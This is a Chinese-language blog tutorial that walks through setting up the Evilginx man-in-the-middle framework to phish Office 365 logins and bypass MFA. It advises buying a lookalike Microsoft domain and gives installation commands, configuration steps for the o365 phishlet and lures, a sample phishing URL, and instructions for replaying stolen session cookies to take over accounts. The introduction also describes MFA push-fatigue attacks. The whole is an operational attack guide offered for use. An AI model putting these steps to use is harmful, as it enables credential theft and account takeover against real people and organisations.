MFA验证可以被轻松绕过?
作者:FancyPig | 发布时间: | 更新时间:
相关阅读
视频讲解
本期视频我们将给大家分享Evilginx中间人攻击框架,通过其中的phishlet模块来镜像Office 365套件网站,我们可以快速获取用户的用户名、密码以及cookie从而实现控制其帐户;在另一个实验中,我们假设已经有了用户名和密码,但是我们需要MFA验证码才可以登录,我们可以通过脚本不断给用户推送通知,造成用户视觉疲劳,最终控制帐户……
图文讲解
什么是 Evilginx?

Evilginx是一个中间人攻击框架,用于网络钓鱼凭证和会话 cookie,然后可用于绕过双因素身份验证保护。该框架可以使用所谓的 phishlet 来镜像网站并欺骗用户输入凭据,例如 Office 365、Gmail 或 Netflix。
由于它是开源的,因此可以使用许多 phishlet,随时可用。
今天,我们重点介绍主版本中包含的 Office 365 phishlet。
准备工作
- 服务器
- 域名
服务器
接下来我们需要选购一台服务器(基本上大部分网友还只是学生,年龄小于25岁的都可以注册到学生机,低至一个月10元)
然后,需要配置服务器环境,这里推荐使用Debian环境,坑会少些,如果您不会配置可以参考之前的小白教程
域名
域名您可以在下面的链接中购买,因为这里是钓鱼,模仿Office 365,因此建议买一个带microsoft的域名,会略显真实一些
我们这里以阿里云为例,我们搜索想要的域名

购买完成后,在dns管理里设置解析即可,使用A类型(记录类型)解析到我们的服务器ip地址(主机记录)
安装 Evilginx
首先,我们需要确保已安装wget命令
sudo apt update
sudo apt install wget -y

下载go文件
wget https://golang.org/dl/go1.17.linux-amd64.tar.gz
通过运行以下命令安装 Go语言
sudo tar -zxvf go1.17.linux-amd64.tar.gz -C /usr/local/
配置 PATH 环境变量
echo "export PATH=/usr/local/go/bin:${PATH}" | sudo tee /etc/profile.d/go.sh
source /etc/profile.d/go.sh
下载github代码
这里需要强调的是原项目地址是
https://github.com/kgretzky/evilginx2
我们这里直接下载某热心网友已经更新好yaml文件的项目
https://github.com/BakkerJan/evilginx2.git
如果您想下载源项目,可以在下方git clone命令后面改成原项目链接
sudo apt-get -y install git make
git clone https://github.com/BakkerJan/evilginx2.git
cd evilginx2
make
全局安装并运行
sudo make install
sudo evilginx

现在我们已经运行了Evilginx,所以在下一步,我们要处理好配置问题。
在这一过程中,你可能需要几个方便的命令,可以参考下表
| 动作 | 命令 |
|---|---|
| 启动Evilginx | sudo evilginx |
| 退出Evilginx | exit |
| 获取钓鱼url | lures get-url <id> |
| 获取正在运行的配置文件 | config |
| 查看全部phishlets | phishlets |
| 查看全部sessions | sessions |
| 查看指定session | sessions <id> |
| 清屏 | clear |
| 隐藏Office 365 phishlet | phishlets hide o365 |
| 显示 Office 365 phishlet | phishlets unhide o365 |

配置Evilginx
首先,我们需要设置域名和IP(将域名和IP替换为你自己的值!)。
可选的是,将黑名单设置为未授权,以阻止扫描器和无关人员访问。这一点是强烈推荐的。
config domain <你刚刚购买的钓鱼域名>
config ip <你服务器的IP地址>
blacklist unauth

我们配置Office 365 phishlet模板
phishlets hostname o365 <yourdomain>
phishlets enable o365

如果你在这时得到一个SSL/TLS错误,你的DNS记录(还)没有到位。
当启用一个钓鱼网站时,Evilginx将从LetsEncrypt为新域名申请一个免费的SSL证书,这需要该域名是可以被正常访问的。

在下一步,我们将为Office 365钓鱼网站设置诱饵,并设置重定向URL。这个URL是在凭证被钓鱼后使用的,可以是任何你喜欢的东西。在这种情况下,我们使用https://portal.office.com/。
lures create o365
lures edit 0 redirect_url https://portal.office.com
lures get-url 0

我们的钓鱼网站现在是活跃的,可以通过https://login.miicrosofttonline.com/tHKNkmJtURL访问。
当您使用诱饵中的URL时,您将被作为一个 "认证 "会话处理,因此,不会被阻止。

你也可以通过隐藏它来停用你的钓鱼网站。
phishlets hide o365
要取消隐藏的钓鱼网站,只需运行
phishlets unhide o365

在应用程序中的任何时候,你都可以运行help或help <想要查看的命令>获取帮助菜单

捕获MFA验证
- 用户输入钓鱼网站,并得到Office 365的登录屏幕。
- 输入用户名,并从Azure AD获取公司品牌。
- 用户提供密码。
- 提示用户使用MFA。
- 提示用户输入KMSI cookie。
- 用户被重定向到重定向URL。
- 凭证和会话令牌被捕获。


重放被盗令牌
- 浏览到https://portal.office.com。
- 这里帐户未登录
- 使用浏览器扩展删除Cookie。
- 从Evilginx复制Cookie,并导入会话。
- 在刷新页面后,会话被建立,MFA被绕过。




如果目标正在使用ADFS怎么办?
如果目标域使用ADFS,你应该用相应的ADFS域信息更新yaml文件。
cd /
cd usr/share/evilginx/phishlets/
sudo nano o365.yaml
